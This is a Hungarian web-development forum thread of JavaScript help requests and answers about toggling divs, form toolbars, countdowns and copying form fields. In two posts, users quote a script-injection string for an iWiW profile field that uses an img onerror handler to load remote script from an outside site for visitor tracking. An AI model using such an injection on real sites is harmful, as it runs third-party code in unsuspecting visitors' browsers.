    textarea.setSelectionRange(newCursorPos + text.length + 2 , newCursorPos + text.length + 2);
    else
    textarea.setSelectionRange(newCursorPos, newCursorPos + text.length + selection.length + text.length + 2 + 3 );
    textarea.focus();
    }
    textarea.scrollTop = scrollPos;
    }
    // Just put them on the end, then.
    else
    {
    textarea.value += '<' + text + '>' + '</' + text + '>';
    textarea.focus(textarea.value.length - 1);
    }
    }

  • puttputt
    őstag

    Szintén javascriptes történet , ezzel is szívok:
    [link]

    IE8 alatt szerencsére tökéletes..., a régebbiekkel még nem tudtam lepróbálni.
    Firefox alól a jobb gomb, IE-motor is jól tölti (bár lehet, szintén 8-as...).

  • tildy
    nagyúr

    Igen, sajnos eléggé szerteágazó, én sem rég kezdtem neki... :)

    A legnagyobb problémát (flash, schockwave, active-x...) nekem is a különböző böngészők összehangolása okozza.
    Például, a legnagyobb hiányosság, hogy Firefox nem hajlandó normálisan kezelni a legördülő menüs megoldásokat. (Ld. videólejátszás)
    Honlapot tervezek, ahhoz kellett belső videólejátszó, de az ablak sosem jelent meg, csak a menü, de az is "offline", tehát nem indult meg semmi.
    Explorer, Opera alatt tökéletes volt.
    (Igaz, Firefox alatt pl. nem kell vesződni annyit a "flessel" és az active-x sem okoz sok problémát.)
    Nagy nehezen sikerült egy amerikai fórumon található kezdeményt úgy alakítgatni, hogy végül is mindhárom böngészőn megindul a lejátszás - ráadásul nem kér semmilyen beépülőt -, van ablak, stb... Persze, divx kodek kell hozzá, de mihez nem...

    Szintén javascriptes történet , ezzel is szívok:
    [link]

  • puttputt
    őstag

    :R :R
    Az emoticonos jó, a másikat még nézem, hogy figyelembe vegye azt, hogy van valami kijelölve, akkor azt rakja közé, ha nincs akkor csak a két szélsőt.

    A mi eddigi megoldásunk minden böngészőn ment, csak ff-en nem.
    Meg kéne már tanulni jól ezt a javascriptet :U kicsit sokat kell benne mókolnom mostanában, azt az alapokkal sme vagyok tisztában :(((

    Igen, sajnos eléggé szerteágazó, én sem rég kezdtem neki... :)

    A legnagyobb problémát (flash, schockwave, active-x...) nekem is a különböző böngészők összehangolása okozza.
    Például, a legnagyobb hiányosság, hogy Firefox nem hajlandó normálisan kezelni a legördülő menüs megoldásokat. (Ld. videólejátszás)
    Honlapot tervezek, ahhoz kellett belső videólejátszó, de az ablak sosem jelent meg, csak a menü, de az is "offline", tehát nem indult meg semmi.
    Explorer, Opera alatt tökéletes volt.
    (Igaz, Firefox alatt pl. nem kell vesződni annyit a "flessel" és az active-x sem okoz sok problémát.)
    Nagy nehezen sikerült egy amerikai fórumon található kezdeményt úgy alakítgatni, hogy végül is mindhárom böngészőn megindul a lejátszás - ráadásul nem kér semmilyen beépülőt -, van ablak, stb... Persze, divx kodek kell hozzá, de mihez nem...

  • tildy
    nagyúr

    Ezt a kettőt találtam hirtelenjében - szerkesztői központokból kiindulva - nem google:

    [link]

    [link]

    Remélem, jól asszociáltam a kérdésedre..., s mész velük valamire...

    :R :R
    Az emoticonos jó, a másikat még nézem, hogy figyelembe vegye azt, hogy van valami kijelölve, akkor azt rakja közé, ha nincs akkor csak a két szélsőt.

    A mi eddigi megoldásunk minden böngészőn ment, csak ff-en nem.
    Meg kéne már tanulni jól ezt a javascriptet :U kicsit sokat kell benne mókolnom mostanában, azt az alapokkal sme vagyok tisztában :(((

  • puttputt
    őstag

    Form toolbarral szívok, olyannal , mitn ami itt a szerkesztő ablakban is van alul, és beszúr smileyt, vagy kódot vagy egyebet, de firefox alatt nem működik.
    goolenn nem találok rá megfelelő példákat, help me :)

    Ezt a kettőt találtam hirtelenjében - szerkesztői központokból kiindulva - nem google:

    [link]

    [link]

    Remélem, jól asszociáltam a kérdésedre..., s mész velük valamire...

  • tildy
    nagyúr

    Form toolbarral szívok, olyannal , mitn ami itt a szerkesztő ablakban is van alul, és beszúr smileyt, vagy kódot vagy egyebet, de firefox alatt nem működik.
    goolenn nem találok rá megfelelő példákat, help me :)

  • Sk8erPeter
    nagyúr

    Ha alapból rejteni akarod, akkor azt a legegyszerűbb az elrejtendő blokk html tagjánál megadni.

    <div style="display:none" id="...">

    vagy ha sok ilyen blokk van, akkor egy css class selectort létrehozni erre.

    <style type="text/css">
    .r {
    display:none;
    /* egyeb stilusbeallitasok */
    }
    </style>

    ...

    <div class="r" id="...">...</div>

    Tökéletes, köszönöm! :R
    Amúgy rájöttem, hogy az előbb még benn maradt a div-nél a style="visibility: inline" is, így meg nyilván nem tűnt el... :W
    Mégsem teljesen tökéletes a dolog egyébként: amikor először megjelenítem az oldalt, akkor KÉTSZER kell rákattintani a szövegre ahhoz, hogy megjelenjen a cuccos. A többi kattogtatásnál (tehát miután már egyszer klikkeltem az oldal megjelenése után) elég az egyetlen kattintás. Ennek mi az oka, hogy lehetne ezt a jelenséget megszüntetni?

  • fordfairlane
    veterán

    :Y nem is gondoltam, hogy ilyen egyszerű... :D Köszönöm szépen, fordfairlane! :R :R Gyors válasz volt. :K
    Nagyon jól működik, de ahhoz hogyan módosítsam, hogy alapból rejtve legyen, és tényleg csak kattintáskor jelenjen meg? Így kiinduláskor megjelenik, de ha mindent ellenkezőjére cserélek (block-ot none-ra és fordítva), akkor is megjelenik, de akkor csak másodszori kattintásra tűnik el... :D
    Ja, és azt el lehet érni, hogy az oldal betöltésekor semmiképp NE mutassa meg a később rejtendő div tartalmát? (mert akkor az oldal esetleges lassú betöltésekor igen csúnya lesz, hogy megjelenik, aztán eltűnik)

    Ha alapból rejteni akarod, akkor azt a legegyszerűbb az elrejtendő blokk html tagjánál megadni.

    <div style="display:none" id="...">

    vagy ha sok ilyen blokk van, akkor egy css class selectort létrehozni erre.

    <style type="text/css">
    .r {
    display:none;
    /* egyeb stilusbeallitasok */
    }
    </style>

    ...

    <div class="r" id="...">...</div>

  • Sk8erPeter
    nagyúr

    Ilyenre gondoltál?

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <html>
    <head>
    <title>Untitled</title>
    <script type="text/javascript">
    function xshowhide() {
    var ez = document.getElementById("ez");
    if(ez.style.display == "none") ez.style.display = "block";
    else ez.style.display = "none";
    }
    </script>
    </head>
    <body>
    <div id="ez">EZ</div>
    <input type="button" onclick="xshowhide()" value="click" />
    </body>
    </html>

    :Y nem is gondoltam, hogy ilyen egyszerű... :D Köszönöm szépen, fordfairlane! :R :R Gyors válasz volt. :K
    Nagyon jól működik, de ahhoz hogyan módosítsam, hogy alapból rejtve legyen, és tényleg csak kattintáskor jelenjen meg? Így kiinduláskor megjelenik, de ha mindent ellenkezőjére cserélek (block-ot none-ra és fordítva), akkor is megjelenik, de akkor csak másodszori kattintásra tűnik el... :D
    Ja, és azt el lehet érni, hogy az oldal betöltésekor semmiképp NE mutassa meg a később rejtendő div tartalmát? (mert akkor az oldal esetleges lassú betöltésekor igen csúnya lesz, hogy megjelenik, aztán eltűnik)

  • fordfairlane
    veterán

    Hali!
    Szeretnék egy div-elrejtős scriptet, olyasmit, mint amit a MÁV-ELVIRÁ-n látni, hogy ráklikkelek egy kisképre, és elrejti ill. megmutatja az aktuális div-et.
    Az oldal forráskódjában kissé bonyolultnak találtam az erre vonatkozó függvényt, az itt lévő megoldás meg pl. Operában nem működik, meg amúgy is itt két külön gombra van szükség... :B

    Tudnátok segíteni, hogyan oldjam meg?
    Nem tűnik olyan bonyolultnak, de egyelőre nincs ötletem.
    Ja, ami fontos! Úgy szeretném, ahogy a MÁV-os oldalon látható, hogy alapból nem foglalja a helyet a beltartalom, csak akkor, amikor megnyitjuk a tartalmat. :K
    Előre is köszi! :R

    Ilyenre gondoltál?

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <html>
    <head>
    <title>Untitled</title>
    <script type="text/javascript">
    function xshowhide() {
    var ez = document.getElementById("ez");
    if(ez.style.display == "none") ez.style.display = "block";
    else ez.style.display = "none";
    }
    </script>
    </head>
    <body>
    <div id="ez">EZ</div>
    <input type="button" onclick="xshowhide()" value="click" />
    </body>
    </html>

  • Sk8erPeter
    nagyúr

    Hali!
    Szeretnék egy div-elrejtős scriptet, olyasmit, mint amit a MÁV-ELVIRÁ-n látni, hogy ráklikkelek egy kisképre, és elrejti ill. megmutatja az aktuális div-et.
    Az oldal forráskódjában kissé bonyolultnak találtam az erre vonatkozó függvényt, az itt lévő megoldás meg pl. Operában nem működik, meg amúgy is itt két külön gombra van szükség... :B

    Tudnátok segíteni, hogyan oldjam meg?
    Nem tűnik olyan bonyolultnak, de egyelőre nincs ötletem.
    Ja, ami fontos! Úgy szeretném, ahogy a MÁV-os oldalon látható, hogy alapból nem foglalja a helyet a beltartalom, csak akkor, amikor megnyitjuk a tartalmat. :K
    Előre is köszi! :R

  • ollie
    MODERÁTOR

    Sziasztok,

    Egy olyant szeretnék egy offline html lapba, hogyha megnyitják akkor a form részbe megadott action-t hajtsa végre autómatán és ne kelljen a submit gombot nyomkodni.
    Tudnátok ebben segiteni?

    Meghívod az onload eseménnyel.

  • meone
    tag

    marcias!
    Gyakorlatban nincs, de a w3scools-on is &&-t ír.

    meone!
    Ilyet flash-ben szoktak csinálni, nem hinném, hogy JS-el meg lehetne oldani.

    Szia.
    Köszönöm akkor keresek tovább.

  • sonar
    addikt

    Sziasztok,

    Egy olyant szeretnék egy offline html lapba, hogyha megnyitják akkor a form részbe megadott action-t hajtsa végre autómatán és ne kelljen a submit gombot nyomkodni.
    Tudnátok ebben segiteni?

  • The DJ
    addikt

    Ez egy fiktív mail címhez kreált java kód

    Elvileg ha ezzel az email címmel van egy iwiw profilom akkor ezt a kódot kell beírnom a munkahely mezőbe, hogy működjön a dolog:

    xim"><img src="x" onerror="document.write('&lt;script src=ht'+'tp:/'+'/xim.hu/4213&gt;&lt;/script&gt;')"

    Mi nem értünk hozzá, de ha van itt egy olyan java pro, aki át tudná írni úgy a kódot, hogy közben az iwiw profilt ne szemetelje tele, az szupi lenne.

    Még tovább jutottam :)

    Ha a xim.hu/4213 után megadsz egy véletlen számokból álló karaktersort, mondjuk xim.hu/4213/123456, akkor megkapod a reklámozásért felelős kódrészletet. Most már "csak" annyi az egész, hogy a neked rendelt (4213) kód végén a véletlen generált hivatkozást statikusra kell cserélni, ami egy reklám mentes oldalra mutat vagy éppen összevonni a kettőt és az egész egy helyen lenne, csak a reklámok kihagyásával. Az már nem olyan bonyolult, ahogy látom sima flash van beszúrva meg a többi HTML.

    Persze laikus vagyok, de remélem nem tévedtem sokat :)

  • Pá
    addikt

    Ebben az ügyben tudna valaki segíteni nekünk?

    Az iwiw topikból indult ki az ötlet, lévén, hogy létezik egy oldal, a xim.hu, amin keresztül meg lehet tudni, hogy ki látogatta meg az iwiw profilunkat, hogyha egy kódot elhelyezünk a profilon. Kicsit belenéztem, JavaScripttel oldották meg, működik is és tényleg hasznos, a baj csak az, hogy teleszemeteli a reklámjaival a profilt, egy csíkban és egy nagy felső villogó bannerral is hirdeti magát, ezt pedig szeretnénk eltüntetni. Meg lehet esetleg oldani?

    Ez egy fiktív mail címhez kreált java kód

    Elvileg ha ezzel az email címmel van egy iwiw profilom akkor ezt a kódot kell beírnom a munkahely mezőbe, hogy működjön a dolog:

    xim"><img src="x" onerror="document.write('&lt;script src=ht'+'tp:/'+'/xim.hu/4213&gt;&lt;/script&gt;')"

    Mi nem értünk hozzá, de ha van itt egy olyan java pro, aki át tudná írni úgy a kódot, hogy közben az iwiw profilt ne szemetelje tele, az szupi lenne.

  • The DJ
    addikt

    Ebben az ügyben tudna valaki segíteni nekünk?

    Az iwiw topikból indult ki az ötlet, lévén, hogy létezik egy oldal, a xim.hu, amin keresztül meg lehet tudni, hogy ki látogatta meg az iwiw profilunkat, hogyha egy kódot elhelyezünk a profilon. Kicsit belenéztem, JavaScripttel oldották meg, működik is és tényleg hasznos, a baj csak az, hogy teleszemeteli a reklámjaival a profilt, egy csíkban és egy nagy felső villogó bannerral is hirdeti magát, ezt pedig szeretnénk eltüntetni. Meg lehet esetleg oldani?

  • vancha2
    aktív tag

    Van. A &, | bitenként elvégzett műveletek, az && és || pedig logikai műveletek. Hacsak nem kifejezetten bitenkénti műveleteket szeretnél végezni, akkor mindig a && és || operátorokat használd.

    Most én is tanultam valamit. :)

  • cucka
    addikt

    marcias!
    Gyakorlatban nincs, de a w3scools-on is &&-t ír.

    meone!
    Ilyet flash-ben szoktak csinálni, nem hinném, hogy JS-el meg lehetne oldani.

    Gyakorlati különbséghez próbáld ki a következő kódot:

    alert(15&16);
    alert(15&&16);

    Az első sor eredménye 0, a második sor eredménye 16. Ha egy if feltételeként adod ezeket meg, akkor első esetben hamisra fogja kiértékelni, második esetben igazra.
    Ha valakit nagyon érdekel, hogy miért így működik, akkor szóljon és leírom.

  • cucka
    addikt

    Köszi, valóban. Egy &-el is működik, van különbség?

    Van. A &, | bitenként elvégzett műveletek, az && és || pedig logikai műveletek. Hacsak nem kifejezetten bitenkénti műveleteket szeretnél végezni, akkor mindig a && és || operátorokat használd.

  • vancha2
    aktív tag

    Köszi, valóban. Egy &-el is működik, van különbség?

    marcias!
    Gyakorlatban nincs, de a w3scools-on is &&-t ír.

    meone!
    Ilyet flash-ben szoktak csinálni, nem hinném, hogy JS-el meg lehetne oldani.

  • meone
    tag

    Sziasztok

    Remélem jó helyre írom ezt a hozzászólást.

    Szeretnék az egyik weblapomhoz egy menüt csinálni, és megtetszett egy fajta menü.
    A lényege az, hogy vannak szimbólumok és ha rá állok az egérrel az egyik képre akkor az a kép meg növekszik és ha elérte a maximális méretét akkor meg jelenik a szöveg mellette, hogy mi a menü pont neve, és ha klikkel rá az ember akkor behozza az oldalt. Ha több kép van egymás mellet akkor a képek úgy változnak, méreteződnek ahogy húzom az egeret. Kicsit olyan mint a WindowsVista menüje.
    Arra már rá jöttem, hogy a képek kezdő és vég állapota fix kép a többi meg animáció.
    Valahogy ezt meg lehet oldani? :F
    Kerestem ilyen JavaScripteket de nem nagyon találtam.
    Esetleg valaki tud benne segíteni legalább valami példa Scriptel, hogy mégis lássam mit kell machinálni?

    Köszönöm előre is a segítséget.

  • vancha2
    aktív tag

    sziasztok! egy visszaszámlálóra lenne szükségem egy html oldalhoz!

    <form>
    <input name="szam">
    <input type="button" value="indul!" onclick="?">
    </form>

    ha eléri a nullát: visszaszámlálás leáll, háttérszín villogni fog( fél másodpercenként vált, fehér-piros)

    <script type="text/javascript">
    var counter = 5;
    function countDown() {
    document.getElementById("szam").value = counter--;
    if (counter != -1) {
    setTimeout("countDown()",1000);
    }
    else {
    hatter();
    }
    }
    function hatter(){
    intrvl = 0;
    for(nTimes=0; nTimes<100; nTimes++){
    intrvl += 500;
    setTimeout("document.bgColor='#FFFFFF';",intrvl);
    intrvl += 500;
    setTimeout("document.bgColor='#CC0033';",intrvl);
    }
    }
    </script>

    <input type="text" id="szam" />
    <input type="button" value="indul!" onclick="countDown();">

  • vancha2
    aktív tag

    Azt hogyan oldom meg, hogy egy if-es feltételnél "i" két szám között legyen? tehát 0<i<5, de sehogy sem akar működni. :R

    if(i<5 && i>0) {
    [...]
    }

  • marcias
    őstag

    Azt hogyan oldom meg, hogy egy if-es feltételnél "i" két szám között legyen? tehát 0<i<5, de sehogy sem akar működni. :R

  • sziasztok! egy visszaszámlálóra lenne szükségem egy html oldalhoz!

    <form>
    <input name="szam">
    <input type="button" value="indul!" onclick="?">
    </form>

    ha eléri a nullát: visszaszámlálás leáll, háttérszín villogni fog( fél másodpercenként vált, fehér-piros)

  • thyrpacia
    csendes tag

    Sziasztok!
    Azt szeretném megoldani ezen a honlapon [link] hogy mint ahogy látjátok van egy introm ami az ablak méretéhez igazodik utána pedig bejön egy háttérkép amivel szintén sikerült megoldanom hogy középen legyen és változzon a mérete. Namost azt kéne megoldani hogy a menü ami bal oldalon van az is igazodjon de ne a képernyőmérethez hanem a háttérkép méretéhez.
    Tehát mindig a kép 60% ánál kezdődjön a mérete meg mindig a képméret x% a legyen.
    Tudnátok ebben segíteni?
    Előre is köszönöm.

    thyrpacia

  • Louloudaki
    aktív tag

    Tényleg... Bakker. :DDD
    Na jó, nem nevetek, szoktam én is ilyeneket csinálni.
    Megint phpzol?

    hát igen, ha éjfél körül fejleszt az ember, akkor születnek érdekes megoldások :DDD
    jaja megint, van cég ahova bedolgozhatok :DD

  • tildy
    nagyúr

    na hát az volt a baj, hogy felcseréltem a sorrendet és a felső mezőknek adtam értékül az alsó (üres) mezők értékét :W :DDD amúgy minden jó lett volna.
    szőkenő avatar rulez...

    Tényleg... Bakker. :DDD
    Na jó, nem nevetek, szoktam én is ilyeneket csinálni.
    Megint phpzol?

  • Louloudaki
    aktív tag

    minnyá kipróbálom, köszi.
    pont ez kell hogy átmásolja. user kitölti a felső mezőket és ha a számlázási címe is megegyezik ezekkel, akkor katt a kitölt gombra és szépen átmásolja a fenti mezők tartalmát az alsókba.
    azt mondd meg hogy amit én írtam előb az miért nem megy, mikor tucatnyi másik oldalon meg működik, pl euhost.hu, twinlab.hu, bár ott ahref meg checkbox van, de gondolom rohadtul mindegy hogy mire rakom az onclicket, ha buttonra rakom akkor is jónak kéne lennie. :F

    na hát az volt a baj, hogy felcseréltem a sorrendet és a felső mezőknek adtam értékül az alsó (üres) mezők értékét :W :DDD amúgy minden jó lett volna.
    szőkenő avatar rulez...

  • Louloudaki
    aktív tag

    Én másképp oldottam meg:

    <script language="JavaScript">
    function copyAddress() {
    document.getElementById('addresses_txtMailCountry').value=document.getElementById('addresses_txtCountry').value;
    document.getElementById('addresses_txtMailZIP').value=document.getElementById('addresses_txtZIP').value;
    document.getElementById('addresses_txtMailCity').value=document.getElementById('addresses_txtCity').value;
    document.getElementById('addresses_txtMailAddress').value=document.getElementById('addresses_txtAddress').value;
    }
    </script>
    <a href="javascript:copyAddress();">Elérhetőség másolása a levelezési címhez</a></td>

    De ez csak átmásolja, neked meg gondolom automatice kitöltött kéne legyen...

    minnyá kipróbálom, köszi.
    pont ez kell hogy átmásolja. user kitölti a felső mezőket és ha a számlázási címe is megegyezik ezekkel, akkor katt a kitölt gombra és szépen átmásolja a fenti mezők tartalmát az alsókba.
    azt mondd meg hogy amit én írtam előb az miért nem megy, mikor tucatnyi másik oldalon meg működik, pl euhost.hu, twinlab.hu, bár ott ahref meg checkbox van, de gondolom rohadtul mindegy hogy mire rakom az onclicket, ha buttonra rakom akkor is jónak kéne lennie. :F

  • tildy
    nagyúr

    <head>
    ...
    <script type="text/javascript">
    function kitoltes(){
    document.form_reg.irsz.value = document.form_reg.sz_irsz.value;
    document.form_reg.varos.value = document.form_reg.sz_varos.value;
    document.form_reg.utca.value = document.form_reg.sz_utca.value;
    document.form_reg.nev.value = document.form_reg.sz_nev.value;
    document.form_reg.tel.value = document.form_reg.sz_tel.value;
    }
    </script>
    ...
    </head>
    ...
    <form action="" method="post" id="form_reg">
    <dl class="adatok">
    <dt>Név:*</dt><dd><input type="text" value="" name="nev" /></dd>
    <dt>Város:*</dt><dd><input type="text" value="" name="varos" /></dd>
    <dt>Irányítószám:*</dt><dd><input type="text" value="" name="irsz" /></dd>
    <dt>Utca:*</dt><dd><input type="text" value="" name="utca" /></dd>
    <dt>Telefonszám:*</dt><dd><input type="text" value="" name="tel" /></dd>
    <dt>Megjegyzés:</dt><dd><input type="text" value="" name="megjegyzes" /></dd>
    </dl>
    <p>Szállítási adatok kitöltése a számlázási adatok alapján: <input type="button" name="kitolt" value="" class="kitolt" onclick="kitoltes();" /></p>
    <dl class="adatok">
    <dt>Név:*</dt><dd><input type="text" value="" name="sz_nev" /></dd>
    <dt>Város:*</dt><dd><input type="text" value="" name="sz_varos" /></dd>
    <dt>Irányítószám:*</dt><dd><input type="text" value="" name="sz_irsz" /></dd>
    <dt>Utca:*</dt><dd><input type="text" value="" name="sz_utca" /></dd>
    <dt>Telefonszám:*</dt><dd><input type="text" value="" name="sz_tel" /></dd>
    </dl>
    </form>

    na és miért nem jó?

    ha a functionba beírom hogy alert('izé'); akkor gombra kattnál ezt alerteli, de az adatokat nem írja át az alsó inputokba illetve az inputot tartalmát se tudja alertelni. ha name helyett id van inputoknál akkor se, ha mindkettő, akkor se. js hibát se ad firebug. :F :F

    Én másképp oldottam meg:

    <script language="JavaScript">
    function copyAddress() {
    document.getElementById('addresses_txtMailCountry').value=document.getElementById('addresses_txtCountry').value;
    document.getElementById('addresses_txtMailZIP').value=document.getElementById('addresses_txtZIP').value;
    document.getElementById('addresses_txtMailCity').value=document.getElementById('addresses_txtCity').value;
    document.getElementById('addresses_txtMailAddress').value=document.getElementById('addresses_txtAddress').value;
    }
    </script>
    <a href="javascript:copyAddress();">Elérhetőség másolása a levelezési címhez</a></td>

    De ez csak átmásolja, neked meg gondolom automatice kitöltött kéne legyen...

  • Louloudaki
    aktív tag

    <head>
    ...
    <script type="text/javascript">
    function kitoltes(){
    document.form_reg.irsz.value = document.form_reg.sz_irsz.value;
    document.form_reg.varos.value = document.form_reg.sz_varos.value;
    document.form_reg.utca.value = document.form_reg.sz_utca.value;
    document.form_reg.nev.value = document.form_reg.sz_nev.value;
    document.form_reg.tel.value = document.form_reg.sz_tel.value;
    }
    </script>
    ...
    </head>
    ...
    <form action="" method="post" id="form_reg">
    <dl class="adatok">
    <dt>Név:*</dt><dd><input type="text" value="" name="nev" /></dd>
    <dt>Város:*</dt><dd><input type="text" value="" name="varos" /></dd>
    <dt>Irányítószám:*</dt><dd><input type="text" value="" name="irsz" /></dd>
    <dt>Utca:*</dt><dd><input type="text" value="" name="utca" /></dd>
    <dt>Telefonszám:*</dt><dd><input type="text" value="" name="tel" /></dd>
    <dt>Megjegyzés:</dt><dd><input type="text" value="" name="megjegyzes" /></dd>
    </dl>
    <p>Szállítási adatok kitöltése a számlázási adatok alapján: <input type="button" name="kitolt" value="" class="kitolt" onclick="kitoltes();" /></p>
    <dl class="adatok">
    <dt>Név:*</dt><dd><input type="text" value="" name="sz_nev" /></dd>
    <dt>Város:*</dt><dd><input type="text" value="" name="sz_varos" /></dd>
    <dt>Irányítószám:*</dt><dd><input type="text" value="" name="sz_irsz" /></dd>
    <dt>Utca:*</dt><dd><input type="text" value="" name="sz_utca" /></dd>
    <dt>Telefonszám:*</dt><dd><input type="text" value="" name="sz_tel" /></dd>
    </dl>
    </form>

    na és miért nem jó?

    ha a functionba beírom hogy alert('izé'); akkor gombra kattnál ezt alerteli, de az adatokat nem írja át az alsó inputokba illetve az inputot tartalmát se tudja alertelni. ha name helyett id van inputoknál akkor se, ha mindkettő, akkor se. js hibát se ad firebug. :F :F

  • tildy
    nagyúr

    Mi a tetű nyavalya baj van ebben a kódban?

    Ha kikommentelem benne ezeket a sorokat:
    print( "\t || (! chkcHead( document.KajaTabla.firm2_d$day , '". implode(',', $cHeads[ FIRM_2 ] ) ."' ))\n" );
    print( "\t || (! chkcHead( document.KajaTabla.firm5_d$day , '". implode(',', $cHeads[ FIRM_5 ] ) ."' )))\n" );

    és berakom a lezáró zárójelet , akkor kiírja ha rossz betű van beírva.

    Ha ugyanitt bármely kettőt kikommentelem, akkor is...

    De ha 3 vagy több elem esetén vizsgálom a dolgot, akkor nem veszi figyelembe, és nem dob alertet...

    function chkcHead( fld, heads )
    {

    var regEx = new RegExp ("\\.", "g") ;
    fld.value = fld.value.replace(regEx, ',');

    var aHeads = heads.split(',');
    var aVals = fld.value.split(',');

    for (var i=0;i<aVals.length;i++)
    {
    if (aVals[i].length > 0)
    {
    valGood = false ;
    for (var j=0;j<aHeads.length;j++)
    {
    if (aHeads[j] == aVals[i] )
    {
    valGood = true ;
    break ;
    }
    }
    if ( valGood == false )
    {
    alert( "Hibas betukombinacio:" + fld.value + "\nLehetseges ertekek:\n" + heads);
    fld.focus() ;
    return false ;
    }
    }
    }
    return true ;
    }
    /*
    * Az egesz tablat ellenorzi, OK-ra hivodik meg
    */
    function chkKajaTabla()
    {
    <?php
    for ($day = WD_MON; $day <= WD_SUN; ++$day)
    {
    if (Util_KellNap( $day ))
    {
    $dayName = Util_NapNev( $day );
    print( "\tif ( ! chkBetu( document.KajaTabla.firm1_d$day )\n" );
    // print( "\t || ! chkSzam( document.KajaTabla.firm2_d$day )\n" );
    print( "\t || (! chkcHead( document.KajaTabla.firm3_d$day , '". implode(',', $cHeads[ FIRM_3 ] ) ."' ))\n" );
    print( "\t || (! chkcHead( document.KajaTabla.firm2_d$day , '". implode(',', $cHeads[ FIRM_2 ] ) ."' ))\n" );
    print( "\t || (! chkcHead( document.KajaTabla.firm5_d$day , '". implode(',', $cHeads[ FIRM_5 ] ) ."' )))\n" );
    print( "\t{\n" );
    print( "\t\treturn false;\n" );
    print( "\t}\n" );
    }
    }
    ?>
    return true;
    }

  • S.Feri
    őstag

    Ezt mondtam én is, de azt mondja, úgy nem működik...

    Egy játékbeli vásárlást végrehajtó script írására keresek vállalkozó szellemű egyént! :) Részletek privátban! :)

  • vancha2
    aktív tag

    olyan nincs, hogy ha harom szamot adsz meg neki akkor mukodik, ha meg harom szamot tartalmazo valtozot, akkor nem. Az biztos, hogy harom parameter kell neki anelkul biztos nem fog mukodni!

    Ezt mondtam én is, de azt mondja, úgy nem működik...

  • shev7
    veterán

    Ez volt a 2., amit próbáltam :F
    Sztem vhogy azt nem veszi be, hogy változót adok meg, nem konrét számot. De azt nemtom, miért

    olyan nincs, hogy ha harom szamot adsz meg neki akkor mukodik, ha meg harom szamot tartalmazo valtozot, akkor nem. Az biztos, hogy harom parameter kell neki anelkul biztos nem fog mukodni!

  • vancha2
    aktív tag

    Ez volt a 2., amit próbáltam :F
    Sztem vhogy azt nem veszi be, hogy változót adok meg, nem konrét számot. De azt nemtom, miért

    Hát akkor nem tudom én sem, sajnos. :(

Új hozzászólás Aktív témák

Hirdetés